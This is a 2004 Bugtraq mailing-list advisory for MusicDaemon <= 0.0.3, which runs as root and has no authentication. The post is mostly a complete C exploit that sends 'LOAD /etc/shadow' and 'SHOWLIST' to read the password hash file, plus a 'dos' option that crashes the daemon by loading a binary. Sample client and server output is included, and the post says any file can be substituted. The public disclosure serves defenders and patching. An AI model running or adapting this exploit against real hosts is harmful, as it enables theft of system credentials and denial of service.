bugtraq - MusicDaemon <= 0.0.3 /etc/shadow Stealer / DoS Exploit

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Date: 23 Aug 2004 14:54:35 -0000
From: Tal0n <cyber_talon@...mail.com>
To: bugtraq@...urityfocus.com
Subject: MusicDaemon <= 0.0.3 /etc/shadow Stealer / DoS Exploit




Discovered and Exploit Coded by: Tal0n 
[cyber_talon@...mail.com] 
URL: http://musicdaemon.sourceforge.net 
  
Note: This was 0day for several months.. I decided to 
turn it in because  
there may be 10 whole boxes in the world running 
this.. and its not very  
handy sitting around on my box =p. 
  
/* MusicDaemon <= 0.0.3 v2 Remote /etc/shadow 
Stealer / DoS 
* Vulnerability discovered by: Tal0n 05-22-04 
* Exploit code by: Tal0n 05-22-04 
* 
* Greets to: atomix, vile, ttl, foxtrot, uberuser, 
d4rkgr3y, blinded, wsxz, 
* serinth, phreaked, h3x4gr4m, xaxisx, hex, phawnky, 
brotroxer, xires, 
* bsdaemon, r4t, mal0, drug5t0r3, skilar, lostbyte, 
peanuter, and over_g 
* 
* MusicDaemon MUST be running as root, which it does 
by default anyways. 
* Tested on Slackware 9 and Redhat 9, but should work 
generically since the 
* nature of this vulnerability doesn't require 
shellcode or return  
addresses. 
* 
  
Client Side View: 
  
  root@...tex:~/test# ./md-xplv2 127.0.0.1 1234 
shadow 
  
  MusicDaemon <= 0.0.3 Remote /etc/shadow Stealer 
  
  Connected to 127.0.0.1:1234... 
  Sending exploit data... 
  
  <*** /etc/shadow file from 127.0.0.1 ***> 
  
  Hello 
  <snipped for privacy> 
  ...... 
  bin:*:9797:0::::: 
  ftp:*:9797:0::::: 
  sshd:*:9797:0::::: 
  ...... 
  </snipped for privacy> 
  
  <*** End /etc/shadow file ***> 
  
  root@...tex:~/test# 
  
Server Side View: 
  
  root@...tex:~/test/musicdaemon-0.0.3/src# ./musicd 
-c ../musicd.conf -p  
1234 
  Using configuration: ../musicd.conf 
  [Mon May 17 05:26:07 2004] cmd_set() called 
  Binding to port 5555. 
  [Mon May 17 05:26:07 2004] Message for nobody: 
VALUE: LISTEN-PORT=5555 
  [Mon May 17 05:26:07 2004] cmd_modulescandir() 
called 
  [Mon May 17 05:26:07 2004] cmd_modulescandir() 
called 
  Binding to port 1234. 
  [Mon May 17 05:26:11 2004] New connection! 
  [Mon May 17 05:26:11 2004] cmd_load() called 
  [Mon May 17 05:26:13 2004] cmd_show() called 
  [Mon May 17 05:26:20 2004] Client lost. 
  
* 
* As you can see, it simply makes a connection, sends 
the commands, and 
* leaves. MusicDaemon doesn't even log that new 
connection's IPs that I 
* know of. Works very well, eh? :) 
* 
* The vulnerability is in where the is no 
authenciation for 1. For 2, it 
* will let you "LOAD" any file on the box if you have 
the correct  
privledges, 
* and by default, as I said before, it runs as root, 
unless you change the 
* configuration file to make it run as a different 
user. 
* 
* After we "LOAD" the /etc/shadow file, we do a 
"SHOWLIST" so we can grab 
* the contents of the actual file. You can subtitute 
any file you want in 
* for /etc/shadow, I just coded it to grab it because 
it being such an 
* important system file if you know what I mean ;). 
* 
* As for the DoS, if you "LOAD" any binary on the 
system, then use  
"SHOWLIST", 
* it will crash music daemon. 
* 
* 
*/ 
  
  
#include <stdio.h> 
#include <stdlib.h> 
#include <sys/types.h> 
#include <sys/socket.h> 
#include <netinet/in.h> 
  
int main(int argc, char *argv[]) { 
  
char buffer[16384]; 
  
char *xpldata1 = "LOAD /etc/shadow\r\n"; 
char *xpldata2 = "SHOWLIST\r\n"; 
char *xpldata3 = "CLEAR\r\n"; 
char *dosdata1 = "LOAD /bin/cat\r\n"; 
char *dosdata2 = "SHOWLIST\r\n"; 
char *dosdata3 = "CLEAR\r\n"; 
  
int len1 = strlen(xpldata1); 
int len2 = strlen(xpldata2); 
int len3 = strlen(xpldata3); 
int len4 = strlen(dosdata1); 
int len5 = strlen(dosdata2); 
int len6 = strlen(dosdata3); 
  
if(argc !=  4) { 
printf("\nMusicDaemon <= 0.0.3 Remote /etc/shadow 
Stealer / DoS"); 
printf("\nDiscovered and Coded by: Tal0n 
05-22-04\n"); 
printf("\nUsage: %s <host> <port> <option>\n", 
argv[0]); 
printf("\nOptions:"); 
printf("\n\t\tshadow - Steal /etc/shadow file"); 
printf("\n\t\tdos - DoS Music Daemon\n\n"); 
return 0; } 
  
printf("\nMusicDaemon <= 0.0.3 Remote /etc/shadow 
Stealer / DoS\n\n"); 
  
int sock; 
struct sockaddr_in remote; 
  
remote.sin_family = AF_INET; 
remote.sin_port = htons(atoi(argv[2])); 
remote.sin_addr.s_addr = inet_addr(argv[1]); 
  
if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) { 
printf("\nError: Can't create socket!\n\n"); 
return -1; } 
  
if(connect(sock,(struct sockaddr *)&remote, 
sizeof(struct sockaddr)) < 0) { 
printf("\nError: Can't connect to %s:%s!\n\n", 
argv[1], argv[2]); 
return -1; } 
  
printf("Connected to %s:%s...\n", argv[1], argv[2]); 
  
if(strcmp(argv[3], "dos") == 0) { 
  
printf("Sending DoS data...\n"); 
  
send(sock, dosdata1, len4, 0); 
  
sleep(2); 
  
send(sock, dosdata2, len5, 0); 
  
sleep(2); 
  
send(sock, dosdata3, len6, 0); 
  
printf("\nTarget %s DoS'd!\n\n", argv[1]); 
  
return 0; } 
  
if(strcmp(argv[3], "shadow") == 0) { 
  
printf("Sending exploit data...\n"); 
  
send(sock, xpldata1, len1, 0); 
  
sleep(2); 
  
send(sock, xpldata2, len2, 0); 
  
sleep(5); 
  
printf("Done! Grabbing /etc/shadow...\n"); 
  
memset(buffer, 0, sizeof(buffer)); 
read(sock, buffer, sizeof(buffer)); 
  
sleep(2); 
  
printf("\n<*** /etc/shadow file from %s ***>\n\n", 
argv[1]); 
printf("%s", buffer); 
printf("\n<*** End /etc/shadow file ***>\n\n"); 
  
send(sock, xpldata3, len3, 0); 
  
sleep(1); 
  
close(sock); 
  
return 0; } 
  
return 0; }